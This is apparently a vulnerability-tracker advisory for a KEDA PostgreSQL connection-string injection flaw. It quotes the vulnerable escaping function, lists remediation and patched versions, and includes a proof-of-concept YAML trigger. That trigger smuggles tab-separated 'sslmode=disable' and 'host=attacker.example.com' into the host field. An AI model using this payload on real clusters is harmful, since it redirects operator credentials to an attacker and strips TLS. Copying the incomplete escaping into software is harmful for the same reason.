CVE-2026-53572Medium· 5.9▾ SunlitKEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping
▾ Sunlit zone — Low / medium · no exploitation signal
impact 32.5 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 22.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
0.3%
Last analysed / modified upstream
pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.
pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.
Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:
sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.host=...) to steal the credentials the operator supplies via the password= keyword.options=, application_name=, target_session_attrs=) to pivot behavior.Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.
\t, \n, \r, \f, \v, space) and backslash.postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding.pkg/scalers/postgresql_scaler.gogithub.com/kedacore/keda/v2 < 2.20.0Upgrade to a patched release:
github.com/kedacore/keda/v2 2.20.0Connected by shared product, vendor, weakness, or advisory.
CVE-2025-13811Medium· 6.3A vulnerability was determined in jsnjfz WebStack-Guns 1.0
CVE-2025-13788High· 7.3A vulnerability has been found in Chanjet CRM up to 20251106
CVE-2023-7299Medium· 6.3A vulnerability was found in DataGear up to 4.60
CVE-2025-10592Medium· 6.3A security vulnerability has been detected in itsourcecode Online Public Access Catalog OPAC 1.0
CVE-2023-4548Medium· 6.3A vulnerability has been found in SPA-Cart eCommerce CMS 1.9.0.3
CVE-2025-9236Medium· 6.3A vulnerability has been found in Portabilis i-Educar up to 2.10